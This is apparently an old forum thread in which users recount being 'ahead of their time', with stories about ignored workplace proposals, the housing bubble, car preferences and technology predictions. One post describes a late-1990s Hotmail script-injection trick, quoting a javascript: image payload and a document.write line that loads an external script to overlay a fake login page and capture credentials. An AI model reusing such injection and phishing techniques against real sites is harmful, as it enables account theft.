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Give an example of when you were ahead of your time...

Perhaps one of the most frustrating things ever!

The biggest example I can think of was at a job several years ago... in January, I wrote up an entire document outlining a handful of process improvements that would streamline our department. This was, of course, largely ignored by my manager and team when I presented it.

After getting bitten in the ass by a lot of the root causes my ideas were to fix, between Sept and Oct of that year the majority of my ideas were implemented... as new ideas.

In fact, they were even discussed for weeks... eventually reaching an almost verbatim solution with what I had already outlined.

Out of sheer frustration, I never brought up the fact that every idea (and more, which would end up being my suggestions after all was said and done) we had come up with had already been timestamped in a document over half a year earlier. Please login or register to see this image. /emoticons/yuck.gif.7f7d915080c2ba3cc47a3fb8746e09a5.gif" alt=":yuck:" />

This sort of thing happen to anyone else? I think perhaps the only thing I hate more than having to go over something I have already said would be having someone else take credit for something I already said.

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I saw the housing bubble coming three years ago. Sold our lakeside home and bought a creekside home free and clear with the profits.

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I really can't think of a great example. I do know, however, that I have an uncanny ability to predict people's behavior, especially relationship outcomes.

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One thing I notice, is that I can almost instantly pick out a fault in the way someone is doing something, and figure out a better way to do it.

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hm ok this is going to be fun. Back in 1997 (windows '98 came out) along with IE4 and Netscape 4. Inside both was the first use of <div> to create layers and where was called dynamic html at the time.

Also around that time hotmail was the dominant free web-based email provider. And around that time they didn't filer HTML from their emails very well (they removed script commands) however you could still inject a javascript attack by using the about:none location in both Netscape and IE, what made it interesting was that you could also using character codes.

E.g. putting <img src="javascript:alert('Hello');"> would put an alert box in your email when you opened it. And <img src="%#74;%#97;%#118;%#97;%#115;%#99;%# etc. would do the same thing if you spent the time writing out the conversion by hand (or had a script to do it for you).

So what is so important about that?

Well imagine that some created an alternate login page for hotmail and injected it into a javascript:document.write command? Well the injection would insert it into the email display, which is where the div command was cool, because it allowed absolute positioning and layer covering (which could be used to write over the top of the hotmail inbox screen).

Then just for the ultimate injection I built this login page and put it into an external script (to stop the form from complaining about redirecting domains). So we had something like: document.write("<script src='http://www.external.com/script.js'>"); what that would do is download a webpage, draw it ontop of the current page, and using cookies detect if you'd been prompted to log into 'alternative hotmail' more than once.

Which in effect (not exactly) is a ajax 8 years before ajax became pop.

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When I was very little, I pissed off my parents because I found an easy method for defeating the parental lock on the Playboy channel. (Think back to the early 80's; I was born in 1978)

When I'd want to watch cartoons, I'd turn on the TV and in the midst of surfing the channels, I wondered what this parental lock thing was. Cursory investigation led me to pull the plugs out for the TV, Stereo and Cable box. Low and behold, once I powered everything back up, the parental lock was gone and I was able to see things that, at the time, I was only able to intuitively understand on a primal level...

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When I was very little, I pissed off my parents because I found an easy method for defeating the parental lock on the Playboy channel. (Think back to the early 80's; I was born in 1978)

When I'd want to watch cartoons, I'd turn on the TV and in the midst of surfing the channels, I wondered what this parental lock thing was. Cursory investigation led me to pull the plugs out for the TV, Stereo and Cable box. Low and behold, once I powered everything back up, the parental lock was gone and I was able to see things that, at the time, I was only able to intuitively understand on a primal level...

Wow, I'll grant you honorary membership, in the I like Boobies Club, for that post.

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(I just now noticed the pun in your avatar) Haha, sweet, even though these days I'm a card carrier of the I like legs / ass club. Can't hurt to diversify!

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Back in the mid 60's I was a huge fan of Mercedes and Porsche because of their Teutonic precision, solid engineering, and sporting traditions. Everyone looked at them as ugly, weird-looking and (OMG) "foreign!" - I lived in Detroit, the spiritual home of the US auto industry. In the mid 70's I was a huge fan of the Datsun (now Nissan) 510, and 240Z; the former because it could be turned into a giant-killer (just ask the guys that raced against the Bob Sharp 510's) and the latter because it was a cool 2-seat sports car.

Now, everyone (even in Motown) treats the Mercedes and Porsche as status symbols and the 510 and 240Z are prototypical "ricer" (or rice-rockets - Japanese tuner) cars.

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Perhaps one of the most frustrating things ever!

The biggest example I can think of was at a job several years ago... in January, I wrote up an entire document outlining a handful of process improvements that would streamline our department. This was, of course, largely ignored by my manager and team when I presented it.

After getting bitten in the ass by a lot of the root causes my ideas were to fix, between Sept and Oct of that year the majority of my ideas were implemented... as new ideas.

In fact, they were even discussed for weeks... eventually reaching an almost verbatim solution with what I had already outlined.

Out of sheer frustration, I never brought up the fact that every idea (and more, which would end up being my suggestions after all was said and done) we had come up with had already been timestamped in a document over half a year earlier. Please login or register to see this image. /emoticons/yuck.gif.7f7d915080c2ba3cc47a3fb8746e09a5.gif" alt=":yuck:" />

This sort of thing happen to anyone else? I think perhaps the only thing I hate more than having to go over something I have already said would be having someone else take credit for something I already said.

Hmm.

It's hard to recall things because I have an awful memory, but I had predicted long ago that there would be a public internet (aside from dialing into bbs and stuff), that it would 'catch on' and gain massive popularity, yet at the same time be raped by shady and fraudulent companies trying to make a quick buck (what we now know as spammers and scammers).

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I was insisting the macarena and su-doku were going to hit big months before before they caught on in this country... that's not due to any inspiration of mine, though, but friends and family who had traveled abroad and brought back news of the new trends.

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In the world of computers :

I have seen Virtualization to be used everywhere ~6 ahead of time.

XML ~5 years.

Vista to be a set back for Microsoft ~2 years of time.

Actually,

Two years ago, I have seen that GNU/Linux will take a big chunk of Desktop market share in the 5 to 6 years to come.

I see a revolution coming in the way we deal with information today. It's called the Meta Information wave; where different type of information will relate to each other thus representing exactly the same way we keep track of our memories in our minds. (3 to 5 years from now)

I see something more sophisticated than PDAs and Mobile Phones going to take place where we no longer need those Desktop PCs & Laptops as the main tool to do our daily work. (5 to 6 years from now)

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